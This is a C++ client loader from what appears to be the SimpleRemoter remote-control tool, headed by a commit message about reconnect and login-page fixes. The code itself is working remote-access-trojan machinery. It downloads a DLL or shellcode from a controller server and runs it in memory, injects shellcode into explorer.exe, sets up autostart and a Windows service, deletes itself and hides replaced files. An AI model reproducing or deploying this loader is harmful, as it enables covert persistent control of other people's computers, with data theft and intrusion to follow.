Two unrelated fixes bundled here. 1. Client respawn (ClientDll.cpp EasyRun/Run, test.cpp Run): after a host is shared or transferred to another server, restarting the master (server A) left the host's main instance stuck, because the respawn loop waited on IsStoped() (g_bThreadExit && GetCount()==0), which never becomes true while a still-alive shared instance holds AddCount(1). S_SERVER_EXIT now triggers an immediate reconnect without waiting for shared instances; client-exit / update still waits for all instances to drain. Verified by 100 restart cycles. 2. Web login page (WebService.cpp): the MFC web server only substituted __BASE_PATH__ in index.html and left __BRAND_NAME__ as a literal token in the login page title/heading. Substitute it with "SimpleRemoter" to match the original branding and the Go server's default. Co-Authored-By: deepseek-v4-pro
520 lines
19 KiB
C++
520 lines
19 KiB
C++
|
|
#include "StdAfx.h"
|
|
#include "MemoryModule.h"
|
|
#include "ShellcodeInj.h"
|
|
#include <WS2tcpip.h>
|
|
#include <common/commands.h>
|
|
#include "common/dllRunner.h"
|
|
#include <common/md5.h>
|
|
#include <common/iniFile.h>
|
|
#include "auto_start.h"
|
|
#include "Common.h"
|
|
// A shell code loader connect to 127.0.0.1:6543.
|
|
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
|
// #include "SCLoader.cpp"
|
|
extern "C" {
|
|
#include "reg_startup.h"
|
|
#include "ServiceWrapper.h"
|
|
}
|
|
|
|
#pragma comment(lib, "ws2_32.lib")
|
|
|
|
// 自动启动注册表中的值
|
|
#define REG_NAME GetExeHashStr().c_str()
|
|
|
|
typedef void (*StopRun)();
|
|
|
|
typedef bool (*IsStoped)();
|
|
|
|
typedef BOOL (*IsExit)();
|
|
|
|
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
|
|
|
|
// 停止程序运行
|
|
StopRun stop = NULL;
|
|
|
|
// 是否成功停止
|
|
IsStoped bStop = NULL;
|
|
|
|
// 是否退出被控端
|
|
IsExit bExit = NULL;
|
|
|
|
BOOL status = 0;
|
|
|
|
HANDLE hEvent = NULL;
|
|
|
|
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_MEMDLL };
|
|
|
|
BOOL CALLBACK callback(DWORD CtrlType)
|
|
{
|
|
#ifdef _DEBUG
|
|
BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT);
|
|
#else
|
|
BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT);
|
|
#endif
|
|
if (isClose) {
|
|
status = 1;
|
|
if (hEvent) SetEvent(hEvent);
|
|
if(stop) stop();
|
|
while(1==status)
|
|
Sleep(20);
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
// 运行程序.
|
|
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
|
|
|
|
// Package header.
|
|
typedef struct PkgHeader {
|
|
char flag[8];
|
|
int totalLen;
|
|
int originLen;
|
|
PkgHeader(int size)
|
|
{
|
|
memset(flag, 0, sizeof(flag));
|
|
memcpy(flag, "Hello?", 6);
|
|
originLen = size;
|
|
totalLen = sizeof(PkgHeader) + size;
|
|
}
|
|
} PkgHeader;
|
|
|
|
typedef int (*DllCallback)(BYTE* dll, int size);
|
|
|
|
// Memory DLL runner.
|
|
class MemoryDllRunner : public DllRunner
|
|
{
|
|
protected:
|
|
int m_payloadType = MEMORYDLL;
|
|
DllCallback m_callback = nullptr;
|
|
HMEMORYMODULE m_mod;
|
|
std::string GetIPAddress(const std::string& hostName)
|
|
{
|
|
// 1. 判断是不是合法的 IPv4 地址
|
|
sockaddr_in sa;
|
|
if (inet_pton(AF_INET, hostName.c_str(), &(sa.sin_addr)) == 1) {
|
|
// 是合法 IPv4 地址,直接返回
|
|
return std::string(hostName);
|
|
}
|
|
|
|
// 2. 否则尝试解析域名
|
|
addrinfo hints = {}, * res = nullptr;
|
|
hints.ai_family = AF_INET; // 只支持 IPv4
|
|
hints.ai_socktype = SOCK_STREAM;
|
|
hints.ai_protocol = IPPROTO_TCP;
|
|
|
|
if (getaddrinfo(hostName.c_str(), nullptr, &hints, &res) != 0)
|
|
return "";
|
|
|
|
char ipStr[INET_ADDRSTRLEN] = {};
|
|
sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr;
|
|
inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN);
|
|
|
|
freeaddrinfo(res);
|
|
return std::string(ipStr);
|
|
}
|
|
public:
|
|
MemoryDllRunner(int type = MEMORYDLL, DllCallback cb = NULL) : m_mod(nullptr), m_payloadType(type), m_callback(cb) {}
|
|
virtual const char* ReceiveDll(int &size)
|
|
{
|
|
WSADATA wsaData = {};
|
|
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
|
|
return nullptr;
|
|
|
|
const int bufSize = 8 * 1024 * 1024;
|
|
char* buffer = new char[bufSize];
|
|
bool isFirstConnect = true;
|
|
int requestCount = 0;
|
|
binFile bin(CLIENT_PATH);
|
|
iniFile ini(CLIENT_PATH);
|
|
auto hash = ini.GetStr("settings", "version", "");
|
|
|
|
do {
|
|
if (!isFirstConnect)
|
|
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
|
|
|
|
isFirstConnect = false;
|
|
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
|
if (clientSocket == INVALID_SOCKET) {
|
|
continue;
|
|
}
|
|
|
|
DWORD timeout = 30000;
|
|
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
|
|
|
|
sockaddr_in serverAddr = {};
|
|
serverAddr.sin_family = AF_INET;
|
|
serverAddr.sin_port = htons(g_ConnectAddress.ServerPort());
|
|
std::string ip = GetIPAddress(g_ConnectAddress.GetRandomServerIP());
|
|
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
|
|
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
|
closesocket(clientSocket);
|
|
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
|
continue;
|
|
}
|
|
#ifdef _DEBUG
|
|
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
|
|
#else
|
|
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
|
#endif
|
|
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
|
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
|
char req[sizeof(PkgHeader) + sizeof(command)] = {};
|
|
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
|
|
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
|
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
|
if (bytesSent != sizeof(req)) {
|
|
closesocket(clientSocket);
|
|
continue;
|
|
}
|
|
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
|
|
if (requestCount < 3) {
|
|
requestCount++;
|
|
time_t tm = time(NULL);
|
|
while (totalReceived < bufSize) {
|
|
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
|
|
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
|
|
if (bytesReceived <= 0) {
|
|
Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError());
|
|
break;
|
|
}
|
|
totalReceived += bytesReceived;
|
|
if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) {
|
|
Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm));
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
closesocket(clientSocket);
|
|
break;
|
|
}
|
|
|
|
PkgHeader* header = (PkgHeader*)buffer;
|
|
if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) {
|
|
Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived);
|
|
closesocket(clientSocket);
|
|
if (hash[0])break;
|
|
continue;
|
|
}
|
|
char* ptr = buffer + sizeof(PkgHeader);
|
|
BYTE cmd = ptr[0], type = ptr[1];
|
|
size = 0;
|
|
memcpy(&size, ptr + 2, sizeof(int));
|
|
if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) {
|
|
closesocket(clientSocket);
|
|
break;
|
|
}
|
|
closesocket(clientSocket);
|
|
WSACleanup();
|
|
const auto md5 = CalcMD5FromBytes((BYTE*)buffer + 22, size);
|
|
bin.SetStr("settings", "data", std::string(buffer, 22 + size));
|
|
ini.SetStr("settings", "version", md5);
|
|
Mprintf("Save data[%s] to registry: %d bytes\n", md5.c_str(), size);
|
|
return buffer;
|
|
} while (1);
|
|
|
|
WSACleanup();
|
|
auto data = bin.GetStr("settings", "data");
|
|
auto md5 = data.empty() ? "" : CalcMD5FromBytes((BYTE*)data.data()+22, data.length()-22);
|
|
if (md5.empty() || md5 != hash){
|
|
SAFE_DELETE_ARRAY(buffer);
|
|
return NULL;
|
|
}
|
|
size = data.length() - 22;
|
|
memcpy(buffer, data.data(), data.length());
|
|
Mprintf("Read data[%s] from registry succeed: %d bytes\n", md5.c_str(), size);
|
|
return buffer;
|
|
}
|
|
// Request DLL from the master.
|
|
virtual void* LoadLibraryA(const char* path, int len = 0)
|
|
{
|
|
int size = 0;
|
|
auto buffer = ReceiveDll(size);
|
|
if (nullptr == buffer || size == 0) {
|
|
SAFE_DELETE_ARRAY(buffer);
|
|
return nullptr;
|
|
}
|
|
int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1);
|
|
if (-1 != pos) {
|
|
CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos);
|
|
BYTE type = buffer[sizeof(PkgHeader) + 1];
|
|
addr->iType = type == MEMORYDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE;
|
|
memset(addr->szFlag, 0, sizeof(addr->szFlag));
|
|
strcpy(addr->szServerIP, g_ConnectAddress.ServerIP());
|
|
sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort());
|
|
addr->iStartup = g_ConnectAddress.iStartup;
|
|
addr->iHeaderEnc = g_ConnectAddress.iHeaderEnc;
|
|
addr->protoType = g_ConnectAddress.protoType;
|
|
addr->runningType = g_ConnectAddress.runningType;
|
|
strcpy(addr->szGroupName, g_ConnectAddress.szGroupName);
|
|
strcpy(addr->installDir, g_ConnectAddress.installDir);
|
|
strcpy(addr->installName, g_ConnectAddress.installName);
|
|
}
|
|
if (m_callback) {
|
|
m_callback((BYTE*)buffer + 6 + sizeof(PkgHeader), size);
|
|
}
|
|
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
|
SAFE_DELETE_ARRAY(buffer);
|
|
return m_mod;
|
|
}
|
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName)
|
|
{
|
|
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
|
|
}
|
|
virtual BOOL FreeLibrary(void* mod)
|
|
{
|
|
::MemoryFreeLibrary((HMEMORYMODULE)mod);
|
|
return TRUE;
|
|
}
|
|
};
|
|
|
|
int InjectShellcode(BYTE* buf, int len) {
|
|
ShellcodeInj inj(buf, len);
|
|
int pid = 0;
|
|
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
|
|
do {
|
|
if (sizeof(void*) == 4) // Shell code is 64bit
|
|
return 1;
|
|
if (!(pid = inj.InjectProcess("explorer.exe", TRUE))) {
|
|
return 2;
|
|
}
|
|
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
|
if (hProcess == NULL) {
|
|
return 3;
|
|
}
|
|
Mprintf("Inject process [%d] succeed.\n", pid);
|
|
HANDLE handles[2] = { hProcess, hEvent };
|
|
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
|
if (status == 1) {
|
|
Mprintf("结束运行.\n");
|
|
Sleep(1000);
|
|
TerminateProcess(hProcess, -1);
|
|
SAFE_CLOSE_HANDLE(hEvent);
|
|
}
|
|
SAFE_CLOSE_HANDLE(hProcess);
|
|
Mprintf("Process [%d] is finished.\n", pid);
|
|
Sleep(1000);
|
|
if (status == 1)
|
|
ExitProcess(0);
|
|
} while (pid);
|
|
}
|
|
|
|
// @brief 首先读取settings.ini配置文件,获取IP和端口.
|
|
// [settings]
|
|
// localIp=XXX
|
|
// ghost=6688
|
|
// 如果配置文件不存在就从命令行中获取IP和端口.
|
|
int main(int argc, const char *argv[])
|
|
{
|
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
|
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
|
if (!runCmd) {
|
|
InitWindowsService(NewService(
|
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
|
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
|
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
|
|
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
|
|
// 注册启动项
|
|
int r = RegisterStartup(
|
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
|
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
|
|
if (r <= 0) {
|
|
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
|
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
|
if (!folder) {
|
|
return -1;
|
|
}
|
|
char dstFile[MAX_PATH] = { 0 };
|
|
sprintf(dstFile, "%s\\ServerDll.dll", folder);
|
|
if (_access(dstFile, 0) == -1) {
|
|
char curFile[MAX_PATH] = { 0 };
|
|
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
|
GET_FILEPATH(curFile, "ServerDll.dll");
|
|
if (_access(curFile, 0) == -1) {
|
|
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
|
|
return -1;
|
|
}
|
|
MoveFileA(curFile, dstFile);
|
|
}
|
|
}
|
|
BOOL s = self_del();
|
|
if (!IsDebug) {
|
|
Mprintf("结束运行.\n");
|
|
Sleep(1000);
|
|
return r;
|
|
}
|
|
}
|
|
|
|
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
|
|
if (!ok) {
|
|
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
|
}
|
|
|
|
if (isService) {
|
|
bool ret = RunAsWindowsService(argc, argv);
|
|
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
|
for (int i = 0; !ret && i < argc; i++) {
|
|
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
|
}
|
|
if (ret) {
|
|
Mprintf("结束运行.\n");
|
|
Sleep(1000);
|
|
return 0x20251202;
|
|
}
|
|
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
|
}
|
|
}
|
|
|
|
status = 0;
|
|
SetConsoleCtrlHandler(&callback, TRUE);
|
|
|
|
iniFile cfg(CLIENT_PATH);
|
|
auto now = time(0);
|
|
auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
|
if (now <= valid_to) {
|
|
auto saved_ip = cfg.GetStr("settings", "master");
|
|
auto saved_port = cfg.GetInt("settings", "port");
|
|
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
|
|
}
|
|
|
|
do {
|
|
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
|
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
|
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
|
|
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
|
|
if (ret == 1) {
|
|
Mprintf("结束运行.\n");
|
|
Sleep(1000);
|
|
return -1;
|
|
}
|
|
} while (status == 0);
|
|
|
|
status = 0;
|
|
Mprintf("结束运行.\n");
|
|
Sleep(500);
|
|
if (isService) {
|
|
Mprintf("CALL ServiceWrapper_Stop.\n");
|
|
int r = ServiceWrapper_Stop();
|
|
}
|
|
Logger::getInstance().stop();
|
|
|
|
return 0;
|
|
}
|
|
|
|
// 传入命令行参数: IP 和 端口.
|
|
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
|
|
{
|
|
BOOL result = FALSE;
|
|
char path[_MAX_PATH], * p = path;
|
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
|
while (*p) ++p;
|
|
while ('\\' != *p) --p;
|
|
*(p + 1) = 0;
|
|
std::string folder = path;
|
|
std::string oldFile = folder + "ServerDll.old";
|
|
std::string newFile = folder + "ServerDll.new";
|
|
strcpy(p + 1, "ServerDll.dll");
|
|
BOOL ok = TRUE;
|
|
if (_access(newFile.c_str(), 0) != -1) {
|
|
if (_access(oldFile.c_str(), 0) != -1) {
|
|
if (!DeleteFileA(oldFile.c_str())) {
|
|
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
|
ok = FALSE;
|
|
}
|
|
}
|
|
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
|
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
|
ok = FALSE;
|
|
} else {
|
|
// 设置文件属性为隐藏
|
|
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
|
|
Mprintf("File created and set to hidden: %s\n",oldFile.c_str());
|
|
}
|
|
}
|
|
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
|
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
|
MoveFileA(oldFile.c_str(), path);// recover
|
|
} else if (ok) {
|
|
Mprintf("Using new file: %s\n", newFile.c_str());
|
|
}
|
|
}
|
|
DllRunner* runner = nullptr;
|
|
switch (g_ConnectAddress.iStartup) {
|
|
case Startup_DLL:
|
|
runner = new DefaultDllRunner;
|
|
break;
|
|
case Startup_MEMDLL: case Startup_TestRunSystem :
|
|
runner = new MemoryDllRunner;
|
|
break;
|
|
case Startup_InjSC:
|
|
runner = new MemoryDllRunner(INJECT_SC, InjectShellcode);
|
|
break;
|
|
default:
|
|
ExitProcess(-1);
|
|
break;
|
|
}
|
|
|
|
void* hDll = runner->LoadLibraryA(path);
|
|
typedef void (*TestRun)(char* strHost, int nPort);
|
|
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
|
|
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
|
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
|
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
|
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
|
|
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
|
|
if (NULL == run) {
|
|
if (hDll) runner->FreeLibrary(hDll);
|
|
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
|
Sleep(3000);
|
|
delete runner;
|
|
return FALSE;
|
|
}
|
|
do {
|
|
char ip[_MAX_PATH];
|
|
strcpy_s(ip, g_ConnectAddress.ServerIP());
|
|
int port = g_ConnectAddress.ServerPort();
|
|
strcpy(p + 1, "settings.ini");
|
|
if (_access(path, 0) == -1) { // 文件不存在: 优先从参数中取值,其次是从g_ConnectAddress取值.
|
|
strcpy(ip, argv1);
|
|
port = argv2;
|
|
} else {
|
|
config cfg;
|
|
strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str());
|
|
port = cfg.Get1Int("settings", "port", ';', 6543);
|
|
}
|
|
Mprintf("[server] %s:%d\n", ip, port);
|
|
if (nCmd) {
|
|
BYTE buf[] = {nCmd};
|
|
if (cmd) nCmd = cmd(buf, 1);
|
|
result = 1;
|
|
Mprintf("Finish run command. Result: %d\n", nCmd);
|
|
break;
|
|
}
|
|
do {
|
|
run(ip, port);
|
|
if (bExit && bExit() != S_SERVER_EXIT) {
|
|
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净,避免下方 FreeLibrary
|
|
// 卸载 DLL 时残留分享实例线程。主控端重启(S_SERVER_EXIT)则立即重连,不等仍存活的分享实例。
|
|
while (bStop && !bStop() && 0 == status)
|
|
Sleep(20);
|
|
}
|
|
} while (bExit && !bExit() && 0 == status);
|
|
|
|
while (bStop && !bStop() && 1 == status)
|
|
Sleep(20);
|
|
if (bExit) {
|
|
result = bExit();
|
|
}
|
|
} while (result == 2);
|
|
if (!runner->FreeLibrary(hDll)) {
|
|
Mprintf("释放动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
|
} else {
|
|
Mprintf("释放动态链接库\"ServerDll.dll\"成功!\n");
|
|
}
|
|
delete runner;
|
|
return result;
|
|
}
|